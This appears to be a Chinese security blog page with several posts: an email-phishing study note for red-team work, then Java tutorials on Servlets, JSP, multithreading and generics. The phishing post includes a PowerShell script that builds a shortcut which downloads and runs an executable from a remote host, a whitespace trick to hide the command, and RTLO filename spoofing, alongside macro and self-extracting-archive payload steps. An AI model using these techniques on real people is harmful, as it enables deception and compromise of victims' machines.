syst1m – ChaBug安全

邮件钓鱼学习

syst1m — Mon, 04 Jan 2021 11:23:11 +0000

前言

在常年攻防演练以及红蓝对抗中常被用于红方攻击的一种进行打点的方式，由于本人只是个安服仔，接触的比较少（但也不能不学），就有了这篇文章，参考各位大佬的姿势总结一下。

钓鱼手段

Lnk（快捷方式）

可以在“⽬标”栏写⼊⾃⼰的恶意命令，如powershell上线命令等，这里举例为CMD

当我点击谷歌浏览器时，弹出了CMD

可以进行更改图标

快速生成lnk样本

$WshShell = New-Object -comObject WScript.Shell  
$Shortcut = $WshShell.CreateShortcut("test.lnk")  
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"  
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"  
$Shortcut.Arguments = "cmd /c powershell.exe -nop -w hidden -c IEX (new-object net.webclient).DownloadFile('http://192.168.1.7:8000/ascotbe.exe','.\\ascotbe.exe');&cmd /c .\\ascotbe.exe"  
$Shortcut.Save()

运行

powershell -ExecutionPolicy RemoteSigned -file test.ps1

Tips

目标文件位置所能显示最大字符串为260个，所有我们可以把执行的命令放在260个字符后面

$file = Get-Content ".\test.txt"  
$WshShell = New-Object -comObject WScript.Shell  
$Shortcut = $WshShell.CreateShortcut("test.lnk")  
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"  
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"  
$Shortcut.Arguments = '                                                                                                                                                                                                                                      '+ $file  
$Shortcut.Save()

文件后缀RTLO

他会让字符串倒着编码

用Python一键生成用，把txt改为png后缀

import os  
os.rename('test.txt', 'test-\u202egnp.txt')

import os
os.rename('cmd.exe', u'no\u202eFDP.exe')

CHM文档

创建一个文件夹（名字随意），在文件夹里面再创建两个文件夹（名字随意）和一个index.html文件，在两个文件夹内部创建各创建一个index.html文件。然后先将下列代码复制到根文件夹中的index.html中

在index.html文件中编辑

Mousejack replay
command exec

使用cs生成修改模版中的calc.exe

Mousejack replay
command exec

使用EasyCHM编译

原有模版CMD

ps上线

自解压

使用CS生成木马

创建自解压文件

高级自解压选项

解压路径-绝对路径

提取后运行

静默模式

更新模式

修改文件名

ResourceHacker

打开flash安装文件导出资源

替换资源文件

上线

office宏

本地加载

新建word，创建宏

cs生成宏粘贴

保存为启用宏的文档

打开文档上线

远程加载

编写一个带有宏代码的DOTM文档，并启用一个http服务将DOTM放置于web下

新建一个任意的模版的docx文档并且解压

编辑settings.xml.rels文件中的Target为我们第一个DOTM的http地址

重新压缩改后缀名为.docx

模拟点击上线

参考

https://www.ascotbe.com/2020/07/26/office_0x01/#LNK%E9%92%93%E9%B1%BC

https://paper.seebug.org/1329/

利用winrar自解压捆版payload制作免杀钓鱼木马

Mac安装低版本Jdk解决方案

syst1m — Tue, 20 Oct 2020 08:01:48 +0000

前言

因为学习当中需要用到低版本的Jdk，我下载了一个jdk7u67版本，当我兴致勃勃的双击下去之后，却遭遇到这样的一个错误

解决方法

安装包pkg解压以后修改里面的判断版本的代码，然后在打包安装就可以了。

操作步骤

将安装包JDK 7 Update 67.pkg解压成unpkg包

╰─➤  pkgutil --expand JDK 7 Update 67.pkg /tmp/jdk.unpkg

进入jdk.unpkg，里面有个Distribution的文件，输入vim Distribution编辑此文件

编辑文件，修改验证逻辑

function pm_install_check() {
  return true;
}

修改完如图

再次打包成pkg

pkgutil --flatten /tmp/jdk.unpkg /tmp/jdk.pkg

安装低版本Jdk

Java学习入门之JavaWeb

syst1m — Sun, 11 Oct 2020 07:35:19 +0000

JavaWeb

Servlet

实现了Servlet接口的java程序叫做Servlet

引入Servlet包


        
            javax.servlet
            javax.servlet-api
            3.1.0
        

        
            javax.servlet.jsp
            jsp-api
            2.2

新建moudle修改web.xml头信息

helloServlet

编写代码

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

public class helloservlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        PrintWriter writer = resp.getWriter ();
        writer.print ("hello,y4er");

    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }


}

编写Servlet映射（web.xml中）

  
    hello
    helloservlet
  
  
    hello
    /hello

运行测试

ServletContext

this.getInitParameter() 初始化参数
this.getServletConfig() Servlet配置
this.getServletContext() Servlet上下文

共享数据

helloservlet

import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

public class helloservlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        ServletContext servletContext = this.getServletContext ();

        String user = "syst1m";

        servletContext.setAttribute ("username",user);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }


}

replyservlet

import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class replyservlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        ServletContext servletContext = this.getServletContext ();
        String username = (String) servletContext.getAttribute ("username");

        resp.setContentType ("text/html");
        resp.setCharacterEncoding ("utf-8");
        resp.getWriter ().print ("名字为"+username);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet (req, resp);
    }
}

注册Servlet

 
    hello
    helloservlet
  
  
    hello
    /hello
  
  
    reply
    replyservlet
  
  
    reply
    /reply

运行测试

获得初始化参数

注册Servlet

  
    jdbc
    jdbc:mysql://localhost:3306/mybatis

 
    jdbc
    jdbcServlet
  
  
    jdbc
    /jdbc

代码

import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class jdbcServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        ServletContext servletContext = this.getServletContext ();
        String url = servletContext.getInitParameter ("jdbc");
        resp.getWriter ().print (url);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost (req, resp);
    }
}

运行测试

code

public class forward extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        ServletContext servletContext = this.getServletContext ();
        servletContext.getRequestDispatcher ("/jdbc").forward (req,resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost (req, resp);
    }
}

读取资源文件

db.properties

username=syst1m
password=123456

code

import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Properties;

public class jdbcServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        InputStream is = this.getServletContext ().getResourceAsStream ("WEB-INF/classes/db.properties");

        Properties prop = new Properties ();
        prop.load (is);
        String username = prop.getProperty ("username");
        String password = prop.getProperty ("password");

        resp.getWriter ().print (username+password);

    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost (req, resp);
    }
}

运行测试

HttpServletResponse

Response下载文件

code

public class FileServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        //获取下载文件的路径
        String realPath = "/Users/syst1m/code/chabugservlet/com.web.servlet/src/main/resources/1.png";
        String FileName = realPath.substring (realPath.lastIndexOf ("\")+1);
        resp.setHeader ("Content-Disposition","attachment;filename="+ URLEncoder.encode (FileName,"UTF-8"));
        FileInputStream in = new FileInputStream (realPath);
        int len = 0;
        byte[] buffer = new byte[1024];
        ServletOutputStream out = resp.getOutputStream ();
        while((len=in.read(buffer))>0){
            out.write (buffer,0,len);
        }

        in.close();
        out.close ();
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

注册Servlet


  
    down
    FileServlet
  
  
    down
    /down

运行测试

Response实现验证码

code

public class captchaServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        //浏览器每三秒刷新一次
        resp.setHeader ("refresh","3");
        //内存中创建一张图片
        BufferedImage image = new BufferedImage (80,20,BufferedImage.TYPE_3BYTE_BGR);
        //得到图片
        Graphics2D g = (Graphics2D)image.getGraphics ();
        //设置图片背景色
        g.setColor (Color.white);
        g.fillRect (0,0,80,80);
        //给图片写数据
        g.setColor (Color.blue);
        g.setFont (new Font (null,Font.BOLD,20));
        g.drawString (makenum(),1,20);
        //浏览器：以图片类型打开
        resp.setContentType ("image/jpeg");
        //清除缓存，不让浏览器缓存
        resp.setDateHeader ("expires",-1);
        resp.setHeader ("Cache-Control","no-cache");
        resp.setHeader ("Pragme","no-cache");
        // 把图片写给浏览器
        ImageIO.write (image,"jpg",resp.getOutputStream ());

    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
    //生成随机数

    private String makenum(){
        Random random = new Random ();
        String num = random.nextInt (9999)+"";
        StringBuffer sb = new StringBuffer ();

        for (int i = 0; i < 7-num.length (); i++) {
            sb.append ("0");
        }
        num = sb.toString ()+num;
        return num;
    }
}

注册Servlet


    img
    captchaServlet
  
  
    img
    /img

运行测试

Response实现重定向

resp.sendRedirect

HttpServletRequest

注册Servlet

 
    LoginServlet
    LoginServlet
  
  
    LoginServlet
    /login

index.jsp

<%@ page contentType="text/html;charset=UTF-8" language="java" %>


    登陆


登陆
    
        

            用户名：

            密码：

            爱好：
            女孩
            代码
            chabug
            渗透测试

success.jsp

<%@ page contentType="text/html;charset=UTF-8" language="java" %>


    登陆成功


登陆成功

LoginServlet

public class LoginServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
       req.setCharacterEncoding ("UTF-8");
       resp.setCharacterEncoding ("UTF-8");
       String username = req.getParameter ("username");
       String password = req.getParameter ("password");
       String[] hobbys = req.getParameterValues ("hobbys");

       System.out.println (username);
       System.out.println (password);
       System.out.println (Arrays.toString (hobbys));
       req.getRequestDispatcher ("/success.jsp").forward (req,resp);


    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

运行测试

Cookie

注册Servlet

  
    cookie
    CookieServlet
  
  
    cookie
    /cookie

code

public class CookieServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        //解决乱码

        req.setCharacterEncoding ("UTF-8");
        resp.setCharacterEncoding ("UTF-8");
        PrintWriter out = resp.getWriter ();
        Cookie[] cookies = req.getCookies ();

        if(cookies!=null){
            out.write ("你上一次的时间是");
            for (int i = 0; i < cookies.length; i++) {
                Cookie cookie = cookies[i];
                if(cookie.getName ().equals ("lastlogintime")){
                    long logintime = Long.parseLong (cookie.getValue ());
                    Date date = new Date (logintime);
                    out.write (date.toLocaleString ());
                }
            }
        }else {
            out.write ("这是你第一次访问本站点");
        }
        Cookie cookie = new Cookie ("lastlogintime",System.currentTimeMillis ()+"");
        cookie.setMaxAge (***);
        resp.addCookie (cookie);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

运行测试

Session

设置，读取，删除

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        //获取Sesseion对象
        HttpSession session=request.getSession();
        session.setAttribute("username", "zhangsan");//存储数据
        session.getAttribute("username");//获取数据
        session.removeAttribute("username");//删除数据
    }

Session的销毁

session.invalidate()

JSP

jsp原理

内置对象

final javax.servlet.jsp.PageContext pageContext; 页面上下文
javax.servlet.http.HttpSession session1 = null; session
final javax.servlet.ServletContext application; applicationContext
final javax.servlet.ServletConfig config; config
javax.servlet.jsp.JspWriter out = null; out 
final java.lang.Object page = this; page 当前
HttpServletRequest request  请求
HttpServletResponse response 响应

maven依赖

JSTL表达式依赖


    javax.servlet.jsp.jstl
    jstl-api
    1.2

standard标签库


    taglibs
    standard
    1.1.2

JSP基础语法和指令

Tomcat热部署

https://blog.csdn.net/jc0803kevin/article/details/88579109

Jsp表达式

<%--jsp表达式，用来将程序的输出，输出到客户端--%>
<%--<%= 变量或表达式%>--%>
<%= new java.util.Date()%>

jsp脚本片段

<%

    int sum = 0;
    for (int i = 0; i < 100; i++) {
        sum+=1;
    }

    out.println ("sum="+sum+"");
%>

jso声明

<%!

    static {
        System.out.println ("Loading Servlet");
    }

    private int globalVar = 0;

    public void test(){
        System.out.println ("进入了方法test");
    }
%>

jsp声明会被编译到JSP生成的java的类中，其他的会被生成到_jspServlet方法中

JSP指令

定制错误页面

<%@page args...%>

<%@page errorPage="err/err.html" %>

文件包含

<%@include file="index.jsp"%>

JSP内置对象及作用域

9大内置对象

PageContext  存东西
Request  存东西
Response
Session
Application  [ServletContext] 存东西
config  [ServletConfig]
out
page
exception

code

 pageContext.setAttribute("name1","syst1m1");  //一个页面中有效
 request.setAttribute("name2","syst1m2"); //一个请求中有效
 session.setAttribute("name3"."syst1m3"); //一个会话中有效
 application.setAttribute("name4"."syst1m4"); //保存的数据在服务器中中有效

通过寻找的方式获取

pageContext.findAttribute();

重定向

pageContext.forward()

Jsp、JSTL标签、EL表达式

EL表达式

el表达式 ${}

获取数据

${标识符}

执行运算
获取web开发的常用对象

jsp标签

JSTL表达式

核心标签

引入JSTL核心标签库

<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>

set标签：将值保存在指定的作用域中

<%-- var="变量名"  value="值" scope="保存在哪个作用域（page、request、session、application）"--%>

${userName}<%--配合EL表达式取值--%>

out标签：将结果输出

<%--取值--%>

if标签：判断



    奔三的人了

choose：选择，跟java中的switch语句类似




    <%--符合该条件时执行--%>
    
        奔三的人了
    

    <%--符合该条件时执行--%>
    
        还是小鲜肉

    

    <%--之前条件都不满足时，执行这个--%>
    

        可以考虑养生了

forEach标签：用于迭代集合

<%--迭代标签 用于迭代集合--%>


    ${user.name}:${user.age}

JavaBean

一般用来与数据库的字段做映射

code

javabean.java

package com.bean.pojo;

public class People {

    private int id;
    private String name;
    private int age;
    private String address;

    public People() {
    }

    public People(int id, String name, int age, String address) {
        this.id = id;
        this.name = name;
        this.age = age;
        this.address = address;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getAddress() {
        return address;
    }

    public void setAddress(String address) {
        this.address = address;
    }

    @Override
    public String toString() {
        return "People{" +
                "id=" + id +
                ", name='" + name + ''' +
                ", age=" + age +
                ", address='" + address + ''' +
                '}';
    }
}

javabean.jsp

过滤器Filter

编写Servlet

public class helloservlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
         resp.getWriter ().write ("你好呀，世界");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

编写Filter

public class encodeing implements Filter {
    public void init(FilterConfig filterConfig) throws ServletException {
    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        servletRequest.setCharacterEncoding ("utf-8");
        servletResponse.setCharacterEncoding ("utf-8");
        servletResponse.setContentType ("text/html;charset=UTF-8");
        System.out.println ("过滤器执行前");
        filterChain.doFilter (servletRequest,servletResponse);
        System.out.println ("过滤器执行后");
    }

    public void destroy() {

    }
}

注册Filter


    encode
    encodeing
  
  
    encode
    /*

测试

监听器

统计在线人数Demo

index.jsp



Hello World!


当前有<%=this.getServletConfig().getServletContext().getAttribute("OnlineCount")%>

OnlineCount

@Override
    public void sessionCreated(HttpSessionEvent httpSessionEvent) {
        ServletContext ctx = httpSessionEvent.getSession ().getServletContext ();
        Integer onlineCount = (Integer)ctx.getAttribute ("OnlineCount");

        if(onlineCount==null){
            onlineCount=new Integer (1);
        }else {
            int count= onlineCount.intValue ();
            onlineCount = new Integer (count+1);
        }
        ctx.setAttribute ("OnlineCount",onlineCount);
    }

    //销毁session监听
    @Override
    public void sessionDestroyed(HttpSessionEvent httpSessionEvent) {
        ServletContext ctx = httpSessionEvent.getSession ().getServletContext ();
        Integer onlineCount = (Integer)ctx.getAttribute ("OnlineCount");

        if(onlineCount==null){
            onlineCount=new Integer (0);
        }else {
            int count= onlineCount.intValue ();
            onlineCount = new Integer (count-1);
            httpSessionEvent.getSession ().invalidate ();
        }
        ctx.setAttribute ("OnlineCount",onlineCount);
    }

注册监听器


    OnlineCount

测试

JDBC(Java fatabase connect)

JDBC

package com.jdbc4;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.SQLException;
import java.sql.Timestamp;
import java.util.Date;

public class TestUpdate {

  /**
   * @param args
   */
  public static void main(String[] args) {
    Connection conn=null;
    try {
      Class.forName("com.mysql.jdbc.Driver");
      //建立连接  ctrl+shfit +o
      conn=DriverManager.getConnection("jdbc:mysql://localhost/test?useUnicode=true&characterEncoding=utf-8", "root", "19810109");
      String sql="update book set title=?,price=?,birth=?,publish_date=?,update_date=? where id=?";
      //预编译
      PreparedStatement pstmt=conn.prepareStatement(sql);
      pstmt.setString(1, "四集");
      pstmt.setFloat(2, 50.55f);
      pstmt.setDate(3, new java.sql.Date(new Date().getTime()));
      pstmt.setTimestamp(4, new Timestamp(new Date().getTime()));
      pstmt.setTimestamp(5, new Timestamp(new Date().getTime()));
      pstmt.setInt(6, 1);

      //执行
      pstmt.executeUpdate();
    } catch (Exception e) {
      e.printStackTrace();
    }
    finally
    {
      try {
        conn.close();
      } catch (SQLException e) {
        e.printStackTrace();
      }
    }
  }

}

JDBC事务

connection.setAutoCommit(false) 开启事务

Java学习入门之多线程

syst1m — Sun, 11 Oct 2020 07:30:13 +0000

Java多线程

继承Thread类

public class Threadtest extends Thread {

    /**
     *
     * 多线程学习
     * **/
    @Override
    public void run(){
        for (int i = 0; i < 2000; i++) {
            System.out.println("我在看代码--");
        }
    }
    public static void main(String[] args) {

        Threadtest test = new Threadtest();

        test.start();
        for (int i = 0; i < 2000; i++) {
            System.out.println("我在学习多线程--");
        }
    }

实现Runnable接口

public class Threadtest implements Runnable {

    /**
     *
     * 多线程学习
     * **/
    @Override
    public void run(){
        for (int i = 0; i < 2000; i++) {
            System.out.println("我在看代码--");
        }
    }
    public static void main(String[] args) {

        Threadtest test = new Threadtest();

        new Thread(test).start();

        for (int i = 0; i < 2000; i++) {
            System.out.println("我在学习多线程--");
        }
    }


}

龟兔赛跑

public class Threadtest implements Runnable {

    /**
     *
     * 龟兔赛跑
     * **/

    private static String winner;

    @Override
    public void run(){
        for (int i = 0; i <= 100; i++) {
            if(Thread.currentThread().getName().equals("兔子")&& 1%10 ==0){
                try{
                    Thread.sleep(10);
                }catch (InterruptedException e){
                    e.printStackTrace();
                }
            }

            boolean flag = gameover(i);

            if ((flag)) {
                break;
            }

            System.out.println(Thread.currentThread().getName()+"跑了"+i+"步");
        }
    }

    private boolean gameover(int steps){
        if(winner!=null){
            return true;
        }{
            if(steps>=100){
                winner = Thread.currentThread().getName();
                System.out.println("winner is"+winner);
            }
        }

        return false;
    }
    public static void main(String[] args) {

        Threadtest test = new Threadtest();
        new Thread(test,"兔子").start();
        new Thread(test,"乌龟").start();
    }


}

线程停止（建议使用标志位）

public class Threadtest implements Runnable {

    /**
     *
     * 龟兔赛跑
     * **/

    private boolean flag = true;

    @Override
    public void run(){
        int i =0;
        while (flag){
            System.out.println("run...Thread"+i++);
        }
    }

    public void stop(){
        this.flag = false;
    }


    public static void main(String[] args) {
        Threadtest test = new Threadtest();
        new Thread(test).start();

        for (int i = 0; i < 1000; i++) {
            System.out.println("main"+i);

            if(i==900) {
                test.stop();
                System.out.println("子线程停止");
            }
        }
    }

}

线程休眠

Thread.sleep(1000)

线程礼让（yield）

public class Threadtest implements Runnable {


    private boolean flag = true;

    @Override
    public void run(){
        System.out.println(Thread.currentThread().getName()+"线程开始执行");
        Thread.yield();
        System.out.println(Thread.currentThread().getName()+"线程停止执行");
    }

    public static void main(String[] args) {
        Threadtest test = new Threadtest();

        new Thread(test,"a").start();
        new Thread(test,"b").start();
    }

}

线程强制执行(join)

public class Threadtest implements Runnable {


    @Override
    public void run(){
        for (int i = 0; i < 1000; i++) {
            System.out.println("线程vipl来了"+i);
        }
    }

    public static void main(String[] args) throws InterruptedException{

        Threadtest test = new Threadtest();
        Thread thread = new Thread(test);
        thread.start();

        for (int q = 0; q < 500; q++) {
            if(q==200){
                thread.join();
            }
            System.out.println("main"+q);
        }
    }

}

线程优先级

优先级只是意味着获得调度的概率低，并不是优先级低就不会被调用，顺序也是概率高，顺序可能也是不同的，全看CPU的调度

public class Threadtest {


    public static void main(String[] args) throws InterruptedException{

        //主线程默认优先级
        System.out.println(Thread.currentThread().getName()+"---->"+Thread.currentThread().getPriority());

        MyPriority MyPriority = new MyPriority();

        Thread t1= new Thread(MyPriority);
        Thread t2= new Thread(MyPriority);
        Thread t3= new Thread(MyPriority);

        //设置优先级

        t1.start();
        t2.setPriority(6);
        t2.start();
        t3.setPriority(Thread.MAX_PRIORITY);
        t3.start();
    }

}

class MyPriority implements Runnable{

    @Override
    public void run(){
        System.out.println(Thread.currentThread().getName()+"---->"+Thread.currentThread().getPriority());
    }
}

守护线程

public class TestDaemon {

    /**
     * 测试守护线程
     * **/

    public static void main(String[] args) throws InterruptedException{

        god god = new god();
        Y4er Y4er = new Y4er();

         Thread thread = new Thread(god);
        thread.setDaemon(true);
        thread.start();

        new Thread(Y4er).start();

    }

}


class god implements Runnable{

    @Override
    public void run(){
        while (true){
            System.out.println("上帝保佑着你");
        }
    }
}
class Y4er implements Runnable{

    @Override
    public void run(){
        for (int i = 0; i < 36500; i++) {
            System.out.println("开心的活着");
        }

        System.out.println("Googbyg world");
    }
}

线程同步

锁机制

synchronized(放置于资源竞争处)

同步方法

private synchronized void buy(){xx}

同步块

synchronized(Obj){}

死锁

public class DeadLock {

    public static void main(String[] args) {

        Makeup g1= new Makeup(0,"灰姑娘");
        Makeup g2= new Makeup(1,"白雪公主");
        g1.start();
        g2.start();
    }
}

//口红
class LipStick{}

//镜子

class Mirror{}

class Makeup extends Thread{

    static LipStick lipStick = new LipStick();
    static Mirror mirror = new Mirror();

    int choice;
    String girlName;

    Makeup(int choice,String girlName){
        this.choice = choice;
        this.girlName = girlName;
    }

    @Override
    public void run() {
        try {
            makeup();
        }catch (InterruptedException e){
            e.printStackTrace();
        }
    }

    private void makeup() throws InterruptedException{
        if(choice==0){
            synchronized (lipStick){
                System.out.println(this.girlName+"获得口红的🔒");
                Thread.sleep(1000);
                synchronized(mirror){
                    System.out.println(this.girlName+"获得镜子的🔒");
                }

            }
        }else {
            synchronized (mirror){
                System.out.println(this.girlName+"获得口红的🔒");
                Thread.sleep(1000);
                synchronized(lipStick){
                    System.out.println(this.girlName+"获得镜子的🔒");
                }

            }
        }
    }
}

Lock锁

import java.util.concurrent.locks.ReentrantLock;

public class TestLock {

    public static void main(String[] args) {
        TestLock2 test = new TestLock2();
        new Thread(test).start();
        new Thread(test).start();
        new Thread(test).start();

    }
}


class TestLock2 implements Runnable{


    int ticketNums = 10;

    private final ReentrantLock lock = new ReentrantLock();

    @Override
    public void run() {
        while(true){
            try{
                lock.lock();

                if(ticketNums>0){
                    try{
                        Thread.sleep(1000);
                    }catch (InterruptedException e){
                        e.printStackTrace();
                    }
                    System.out.println(ticketNums--);
                }else {
                    break;
                }
            }finally {
                lock.unlock();
            }
        }
    }
}

线程协作（生产者与消费者问题）

管程法

/**
 *
 *测试生产者消费者模型-》利用缓冲区解决：管程法
**/

//生产者，消费者，产品，缓冲区
public class TestPC {

    public static void main(String[] args) {
        SynContainer container = new SynContainer();

        new Productor(container).start();
        new Consumer(container).start();
    }
}


//生产者

class Productor extends Thread{

    SynContainer container;
    public Productor(SynContainer container){
        this.container = container;
    }

    //生产


    @Override
    public void run() {
        for (int i = 0; i < 100; i++) {
            System.out.println("生产了"+i+"只鸡");
            container.push(new Chicken(i));
        }
    }
}


//消费者
class Consumer extends Thread{
    SynContainer container;

    public Consumer(SynContainer container){
        this.container = container;
    }

    //消费


    @Override
    public void run() {
        for (int i = 0; i < 100; i++) {
            System.out.println("消费了第"+container.pop().id+"只鸡");
        }
    }
}

//产品

class Chicken{
    int id; //产品编号

    public Chicken(int id) {
        this.id = id;
    }
}

//缓冲区

class SynContainer{

    //需要一个容器大小

    Chicken[] chickens = new Chicken[10];

    //容器计数器

    int count = 0;
    //生产者放入产品

    public synchronized void push(Chicken chicken){

        //如果容器满了，就需要等待消费者消费
        if(count==chickens.length){
            //通知消费者消费，生产等待

            try{
                this.wait();
            }catch (InterruptedException e ){
                e.printStackTrace();
            }
        }
        //荣国没有满，就需要丢入产品
        chickens[count]=chicken;
        count++;

        //可以通知消费者消费了

        this.notifyAll();
    }

    //消费者消费产品

    public synchronized Chicken pop(){
        //判断能否消费

        if(count==0){
            //等待生产者生产，消费者等待
            try{
                this.wait();
            }catch (InterruptedException e){
                e.printStackTrace();
            }

        }

        //如果可以消费
        count--;
        Chicken chicken = chickens[count];

        //吃完了，通知生产者生产
        this.notifyAll();
        return chicken;
    }

}

信号灯法(设置标志位)

public class TestPc2 {

    public static void main(String[] args) {

        TV tv = new TV();

        new Player(tv).start();
        new Watcher(tv).start();
    }
}


//生产者-〉演员

class Player extends Thread{
    TV tv;
    public Player(TV tv){
        this.tv = tv;
    }

    @Override
    public void run() {
        for (int i = 0; i < 20; i++) {
            if(i%2==0){
                this.tv.play("快乐大本营");
            }else {
                this.tv.play("抖音，记录美好生活");

            }        }
    }
}

//消费者-〉观看

class Watcher extends Thread{
    TV tv;
    public Watcher(TV tv){
        this.tv = tv;
    }

    @Override
    public void run() {
        for (int i = 0; i < 20; i++) {
            tv.watch();
        }
    }
}

//产品->节目

class TV{
    //演员表演，观众等待
    //观众观看，演员等待

    String voice;
    boolean flag = true;

    //表演

    public synchronized void play(String voice){

        if(!flag){
            try{
                this.wait();
            }catch (InterruptedException e){
                e.printStackTrace();

            }
        }        System.out.println("演员表演了:"+voice);

        this.notifyAll();
        this.voice = voice;
        this.flag = !this.flag;
    }

    //观看


    public synchronized void watch(){

        if(flag){
            try{
                this.wait();
            }catch (InterruptedException e){
                e.printStackTrace();
            }
        }

        System.out.println("观看了"+voice);

        //通知演员表演

        this.notifyAll();
        this.flag = !this.flag;

    }
}

线程池

import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

/**
 * 测试线程池
 * **/
public class TestPool {
    public static void main(String[] args) {
        ExecutorService service = Executors.newFixedThreadPool(10);

        service.execute(new MyThread());
        service.execute(new MyThread());
        service.execute(new MyThread());
        service.execute(new MyThread());

    }

}


class MyThread implements Runnable{

    @Override
    public void run() {
        for (int i = 0; i < 100; i++) {
            System.out.println(Thread.currentThread().getName()+i);
        }
    }
}

Java学习入门之JavaSe泛型、代理、注解与反射

syst1m — Sun, 11 Oct 2020 07:26:27 +0000

泛型

泛型，参数化类型，分为泛型类、接口、方法

泛型类

class 类名称 <泛型标识> {
    private 泛型标识 var;
    ...
}

泛型接口

public class chabug {
    public static void main(String[] args) {
        new testa().next();
    }

}

interface test{
    public T next();
}

class testa implements test{
    private String[] b  = new String[]{"a","b","c","d"};
    @Override
    public String next(){
        Random rand = new Random();
        System.out.println(b[rand.nextInt(3)]);
        return null;
    }
}

泛型方法

public class chabug {
    public static void main(String[] args) {
        out("28");
        out("永远滴神");
    }

    public static  void out(T t) {
        System.out.println(t);
    }
}

泛型通配符

public void showKeyValue1(Generic obj){
    Log.d("泛型测试","key value is " + obj.getKey());
}

泛型上下边界

在使用泛型的时候，我们还可以为传入的泛型类型实参进行上下边界的限制，如：类型实参只准传入某种类型的父类或某种类型的子类。为泛型添加上边界，即传入的类型实参必须是指定类型的子类型,泛型的上下边界添加，必须与泛型的声明在一起.
常规例子（会提示类型无法转换）

使用上下边界

疑惑

GenericHolder fruitHolder = new GenericHolder()

为何意思

解决：

Fruit fruit = new Fruit("水果");
fruitHolder.setObj(fruit)

先实例化再传入对象，参考如下：

Java泛型再探——泛型通配符及上下边界

泛型数组

不可以

List[] ls = new ArrayList[10];

可以

List[] ls = new ArrayList[10]; 
List[] ls = new ArrayList[10];

代理

静态代理

抽象角色：一般会使用接口或抽象类来解决
真实角色：被代理的角色
代理角色：代理真实角色后，我们一般会做一些附属操作
客户：访问代理对象的人

抽象角色

//接口——》租房
public interface Rent {

    public void rent();
}

真实角色

//真实角色->房东
public class Host implements Rent{
    @Override
    public void rent(){
        System.out.println("房东要出租房子");
    }
}

代理角色

package ChaBugStudy;

public class Proxy implements Rent{

      private Host host;

      public Proxy(){

      }
      public Proxy(Host host){
          this.host = host;
      }

      public void rent(){
            seeHouse();
            host.rent();
            hetong();
            fare();
      }

      //看房

      public void seeHouse(){
